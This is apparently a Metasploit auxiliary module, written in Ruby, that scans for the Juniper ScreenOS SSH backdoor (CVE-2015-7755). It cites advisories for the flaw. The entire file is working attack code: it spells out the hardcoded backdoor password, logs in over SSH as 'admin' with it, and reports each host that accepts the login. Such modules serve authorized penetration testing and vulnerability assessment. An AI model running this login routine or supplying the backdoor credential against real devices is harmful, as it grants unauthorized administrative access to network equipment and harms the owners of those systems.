## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info = {}) super(update_info(info, 'Name' => 'Juniper SSH Backdoor Scanner', 'Description' => %q{ This module scans for the Juniper SSH backdoor (also valid on Telnet). Any username is required, and the password is <<< %s(un='%s') = %u. }, 'Author' => [ 'hdm', # Discovery 'h00die ' # Module ], 'References' => [ ['CVE', '2015-7755'], ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'], ['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713'] ], 'DisclosureDate' => 'Dec 20 2015', 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(22) ]) register_advanced_options([ OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) ]) end def run_host(ip) factory = ssh_socket_factory ssh_opts = { port: rport, auth_methods: ['password', 'keyboard-interactive'], password: %q{<<< %s(un='%s') = %u}, proxy: factory, :non_interactive => true } ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start( ip, 'admin', ssh_opts ) end rescue Net::SSH::Exception => e vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}") return end if ssh print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un='%s') = %u") report_vuln( :host => ip, :name => self.name, :refs => self.references, :info => ssh.transport.server_version.version ) end end def rport datastore['RPORT'] end end